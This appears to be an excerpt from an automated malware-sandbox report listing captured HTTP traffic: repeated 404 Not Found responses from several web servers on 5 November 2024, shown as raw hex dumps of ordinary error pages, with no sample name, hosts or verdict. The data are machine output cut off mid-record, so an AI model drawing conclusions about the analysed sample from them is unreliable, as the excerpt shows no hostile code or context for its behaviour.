87 fc 1a 2a e3 7b 0e 17 4f 3b 49 14 64 0f 90 0b b2 1a 94 6f f4 37 c8 ef 37 79 f3 12 f4 9f 71 ba 2c b8 0f 10 f6 55 0d 1b ea e6 7d 94 3a c1 ad 1b 7f 2a f5 65 ed bd 4c 1d 76 39 51 16 dc ea 37 ac b9 dd cb fa b8 cf 13 ef 4d 8b c1 8e d7 5a 7e b4 41 97 97 de fd be 04 4e fc 00 5d 1e f7 4e 92 bc 07 f8 53 5a 55 a0 6c 41 09 39 9e 57 82 ea b6 24 7c 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkeddate: Tue, 05 Nov 2024 14:35:49 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 32 37 36 44 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:35:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:35:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:36:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:36:04 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Tue, 05 Nov 2024 14:36:09 GMTServer: NetlifyX-Nf-Request-Id: 01JBYC29JXT9Z7D0083Z51WAZ4Connection: closeTransfer-Encoding: chunkedData Raw: 39 62 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c 20 31 31 30 2c 20 31 31 35 29 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 3a 23 44 33 32 32 35 34 3b 2d 2d 63 6f 6c 6f 72 42 67 43 61 72 64 3a 23 66 66 66 3b 2d 2d 63 6f 6c 6f 72 53 68 61 64 6f 77 3a 23 30 65 31 65 32 35 31 66 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 54 65 78 74 3a 72 67 62 28 31 34 32 2c 20 31 31 2c 20 34 38 29 3b 2d 2d 63 6f 6c 6f 72 43 61 72 64 54 69 74 6c 65 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 23 32 32 32 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 23 46 35 46 35 46 35 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 73 79 6d 62 6f 6c 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 34 33 38 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 68 31 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 6d 61 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Tue, 05 Nov 2024 14:36:12 GMTServer: NetlifyX-Nf-Request-Id: 01JBYC2C5EK6FZCGARX881VH00Connection: closeTransfer-Encoding: chunkedData Raw: 39 62 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c 20 31 31 30 2c 20 31 31 35 29 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 3a 23 44 33 32 32 35 34 3b 2d 2d 63 6f 6c 6f 72 42 67 43 61 72 64 3a 23 66 66 66 3b 2d 2d 63 6f 6c 6f 72 53 68 61 64 6f 77 3a 23 30 65 31 65 32 35 31 66 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 54 65 78 74 3a 72 67 62 28 31 34 32 2c 20 31 31 2c 20 34 38 29 3b 2d 2d 63 6f 6c 6f 72 43 61 72 64 54 69 74 6c 65 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 23 32 32 32 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 23 46 35 46 35 46 35 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 73 79 6d 62 6f 6c 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 34 33 38 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 68 31 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 6d 61 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Tue, 05 Nov 2024 14:36:15 GMTServer: NetlifyX-Nf-Request-Id: 01JBYC2ER0S7X9JQPQV0N533C2Connection: closeTransfer-Encoding: chunkedData Raw: 39 62 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c 20 31 31 30 2c 20 31 31 35 29 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 3a 23 44 33 32 32 35 34 3b 2d 2d 63 6f 6c 6f 72 42 67 43 61 72 64 3a 23 66 66 66 3b 2d 2d 63 6f 6c 6f 72 53 68 61 64 6f 77 3a 23 30 65 31 65 32 35 31 66 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 54 65 78 74 3a 72 67 62 28 31 34 32 2c 20 31 31 2c 20 34 38 29 3b 2d 2d 63 6f 6c 6f 72 43 61 72 64 54 69 74 6c 65 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 23 32 32 32 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 23 46 35 46 35 46 35 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 73 79 6d 62 6f 6c 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 34 33 38 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 68 31 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 6d 61 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Tue, 05 Nov 2024 14:36:17 GMTServer: NetlifyX-Nf-Request-Id: 01JBYC2HAE3FKS9CP1QGCY05CRConnection: closeTransfer-Encoding: chunkedData Raw: 39 62 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c 20 31 31 30 2c 20 31 31 35 29 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 3a 23 44 33 32 32 35 34 3b 2d 2d 63 6f 6c 6f 72 42 67 43 61 72 64 3a 23 66 66 66 3b 2d 2d 63 6f 6c 6f 72 53 68 61 64 6f 77 3a 23 30 65 31 65 32 35 31 66 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 54 65 78 74 3a 72 67 62 28 31 34 32 2c 20 31 31 2c 20 34 38 29 3b 2d 2d 63 6f 6c 6f 72 43 61 72 64 54 69 74 6c 65 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 3a 23 32 32 32 3b 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 3a 23 46 35 46 35 46 35 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 73 79 6d 62 6f 6c 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 34 33 38 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 68 31 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 6d 61 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:37:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gW7nlen7HPIvQqGTE2%2FHmR2ObGDhzVOqzSU6bAtsN1OvXDoX03OtbTVuNnZ2NnUICTJZGUje1ZZujj2d%2FARVz4jN5TFWiS2dTcuIgCGnBPhy7jOvksIGGVpcc3sIzj%2BCP4e%2Bjg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ddd94db683442e2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=103319&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=457&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 30 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 64 2d 49 44 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 42 75 6b 61 6e 57 6f 72 64 70 72 65 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 